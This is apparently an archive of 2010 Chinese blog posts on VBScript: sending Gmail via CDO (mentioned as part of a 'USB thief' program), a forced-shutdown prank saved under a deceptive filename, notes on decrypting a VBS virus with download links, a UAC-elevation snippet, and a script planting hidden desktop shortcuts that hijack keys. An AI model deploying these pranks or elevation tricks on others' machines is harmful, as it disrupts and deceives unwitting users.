“程序设计”目录存档

用VBS发送邮件

2010年07月1日,星期四

曾经在编写VBS版U盘小偷程序的时候Google过怎么用VBS发送E-Mail,不知道为什么当时Google不到,可能是眼花了吧。使用CDO.Message对象就可以实现,示例代码演示的是gmail发送纯文本并带附件的邮件,至于其他的电子邮箱,需要修改代码中对应的smtp服务器和端口,原理也是一样的,就不举例了。贴出来的代码没有写注释,需要看注释的请下载源码。

Const Email_From = "still.demon@gmail.com"
Const Password = "password"
Const Email_To = "380401911@qq.com"
Set CDO = CreateObject("CDO.Message") 
CDO.Subject = "From Demon"
CDO.From = Email_From
CDO.To = Email_To
CDO.TextBody = "Hello world!"
cdo.AddAttachment "C:\hello.txt"
Const schema = "http://schemas.microsoft.com/cdo/configuration/"
With CDO.Configuration.Fields
	.Item(schema & "sendusing") = 2
	.Item(schema & "smtpserver") = "smtp.gmail.com"
	.Item(schema & "smtpauthenticate") = 1
	.Item(schema & "sendusername") = Email_From
	.Item(schema & "sendpassword") = Password
	.Item(schema & "smtpserverport") = 465
	.Item(schema & "smtpusessl") = True
	.Item(schema & "smtpconnectiontimeout") = 60
	.Update
End With
CDO.Send

一个VBS恶作剧程序

2010年06月30日,星期三

很久很久以前,好像是高考后的那个夏天,收到过朋友的一个恶作剧程序,程序名为“一篇感动人的文章.vbs”,当时什么都不懂,直接双击了,一直耿耿于怀。双击后弹出一个输入框“输入‘我是猪’,否则十五秒后关机。我还以为是搞笑的,什么都没有输入,就真的关机了,觉得很神奇。而现在能够自己写出代码了,却再也找不到以前的快乐。

Option Explicit 
On Error Resume Next 
Dim answer
Dim WshShell
set WshShell = CreateObject("wscript.Shell")
WshShell.Run "Shutdown /f /s /t 10 /c 输入'我是猪',否则10秒后关机~",0
Do While answer<>"我是猪"
	answer=InputBox("输入'我是猪',否则10秒后关机~","哈哈哈",,7000,8000)
Loop 
WshShell.Run "Shutdown /a",0
MsgBox "哈哈哈,好玩不?",,"哈哈哈"

打开记事本,把代码复制粘贴进去,保存为“一篇感动人的文章.vbs”,一个恶作剧程序就完成了,接下来做什么就超出本文范围了。

暴风一号病毒VBS源码解密

2010年06月29日,星期二

一个寂寞的人写的VBS病毒,即网上所谓的1KB文件夹快捷方式病毒。只不过是恶作剧程序罢了,只能拿来吓吓不明真相的同学,根本不算严格意义上的病毒,不过为了方便,我在文中仍然称之为病毒。话说回来,我第一次看到这个程序的时候震惊了一下,因为第一眼看上去貌似全部都是注释,全是注释怎么可能执行呢,然后仔细一看,原来有一行没有注释,代码就是从这一行开始执行的。作者真是太寂寞了,写个VBS病毒还加密,VBS加密只能拿来骗骗杀毒软件,在人眼面前就没有任何秘密可言了。不过事实证明某些杀毒软件还是很好骗的,比如某款自吹永久免费的流氓软件,好像叫361还是什么来着,我不记得了。反正我直接双击病毒它不报毒(注,不是我的电脑,我的电脑没有这种软件),然后双击根据病毒代码改写的专杀程序,弹出一个警告,笑死我了。

解密的方法很简单,只要弄清楚没有注释的那一行代码做了什么就行了。那么那一行做了什么呢?自己去看代码吧。简单的说,就是读取病毒自身,将注释解密以后得到最后的病毒代码,然后通过VBS的Execute语句执行解密后的病毒代码,同时变换加密后把新加密的代码写入源文件。所以,我们只要把最后的Execute语句改写输出语句,就可以得到病毒解密后的代码了。下面是我根据病毒代码改写的解密程序,只要把病毒拖动到解密程序上,就会在同一文件夹生成病毒解密后的代码。代码太长就不贴出来了,感兴趣的自己下载。不得不说,代码的写的很整齐,对学习VBS很有借鉴的价值。

警告:病毒源码仅供VBS学习之用,请勿非法使用,由于非法使用造成的后果与本人无关

解密前的暴风一号病毒(1KB文件夹快捷方式病毒)

[download id=21]

暴风一号病毒(1KB文件夹快捷方式病毒)解密程序

[download id=20]

解密后的暴风一号病毒(1KB文件夹快捷方式病毒)

[download id=22]

根据暴风一号病毒(1KB文件夹快捷方式病毒)源码改写的专杀程序

[download id=23]

VBS和UAC用户帐户控制

2010年06月24日,星期四

用户帐户控制(UAC)是Vista以上的系统新引进的功能,旨在提高系统的安全性。它限制应用程序在标准用户的权限下,除非管理员权限得到提升或验证。虽然很多人觉得这个功能很鸡肋,但是以VBS的角度来看,UAC还是多多少少有点用的。在UAC的限制下,直接双击VBS文件只能在标准用户权限下运行,很多事情是做不了的,比如复制自身到windows文件夹,或者写入注册表的开机启动项等等。在XP下非常猖獗的暴风一号病毒,放到Win7下也就只能改改文件夹属性为隐藏罢了,其他什么都做不了。当然了,一些不明真相的同学喜欢把UAC功能关掉,然后装个叫什么359还是361的所谓安全软件。我也不好多说什么,不然会遭到围观的。

双击VBS文件系统不会自动弹出UAC窗口是一个很大的问题,因为这大大限制了VBS的功能,很多事情都做不了,怎么解决呢?请看下面的代码

For Each objOS in GetObject("winmgmts:").InstancesOf("Win32_OperatingSystem")
    If InStr(objOS.Caption,"XP") = 0 Then
        If WScript.Arguments.length = 0 Then
            Dim objShell
            Set objShell = CreateObject("Shell.Application")
            objShell.ShellExecute "wscript.exe", Chr(34) & _
            WScript.ScriptFullName & Chr(34) & " uac", "", "runas", 1
        Else
            Call Main()
        End If
    Else
        Call Main()
    End If
Next

'By Demon
'https://demon.tw

Sub Main()
    MsgBox "UAC"
End Sub

这是我根据这个网站的代码改写的,判断系统版本,如果是XP(普通用户一般都是XP,如果是2003的话请自己改写)则直接运行代码,否则调用Shell.Application对象的ShellExecute方法,以管理员权限运行脚本。这样,我们的VBS程序在Vista/Win7系统下也可以像在XP系统那样为所欲为了。

用VBS屏蔽键盘和鼠标

2010年06月23日,星期三

看到标题你是不是不相信呢,说实话,换成以前我也不相信,VBS怎么可能屏蔽键盘和鼠标呢?光靠VBS当然是不可能的啦。但是结合我之前的两篇文章《用C语言屏蔽键盘和鼠标》和《用VBS读写二进制文件》,你会发现通过曲线救国的方法就可以实现了。这应该还算用VBS屏蔽的吧,就像网上很多人在批处理中调用VBS来实现一些批处理无法实现的功能一样。

用C语言写出来的程序还是有点太大了,我用汇编写了一个屏蔽键盘和鼠标的程序,编译好以后才2.5KB,把它的二进制数据放到VBS中不算太大,下载地址在文章末尾。

另外要说一下的是,网上也有所谓的“屏蔽”键盘的VBS程序,使用了快捷方式的快捷键来实现的,只能屏蔽单个按键,组合键和部分特殊按键无法屏蔽,不过拿来恶作剧一下也是不错的。但是代码中那个叫伤脑筋的写的代码通用性也太不高了,竟然使用"\程序\附件\辅助工具\"这样的路径,他怎么知道别人的电脑上有这个路径。我的系统是英文版的,就没有这个路径。于是我改写了一下,代码如下

Dim strKeys,arrKeys
strKeys = "A,B,C,D,E,F,G,"_
& "H,I,J,K,L,M,N,O,P,Q,"_
& "R,S,T,U,V,W,X,Y,Z,"_
& "1,2,3,4,5,6,7,8,9,0,"_
& "Tab,Up,Down,Left,Right,"_
& "F1,F2,F3,F4,F5,F6,F7,"_
& "F8,F9,F10,F11,F12"
arrKeys = Split(strKeys,",",-1,1)
Dim WshShell
Set WshShell = CreateObject("wscript.Shell")
Dim fso
Set fso = CreateObject("scripting.filesystemobject")
Dim desktop
desktop = WshShell.SpecialFolders("Desktop")
Dim bound,link,path
bound = UBound(arrKeys)
For i = 0 To bound
	path = desktop & "\" & arrKeys(i) & ".lnk"
	Set link = WshShell.CreateShortcut(path)
	link.TargetPath = "https://demon.tw"
	link.HotKey = arrKeys(i)
	link.Save
	fso.GetFile(path).Attributes = 6
Next

不过,还是下面给出的代码才是真正的屏蔽键盘,代码太长就不贴出来了,需要的自己下载。

VBS屏蔽键盘和鼠标的代码

[download id=16]

顺便附上汇编语言屏蔽键盘和鼠标的代码

[download id=17]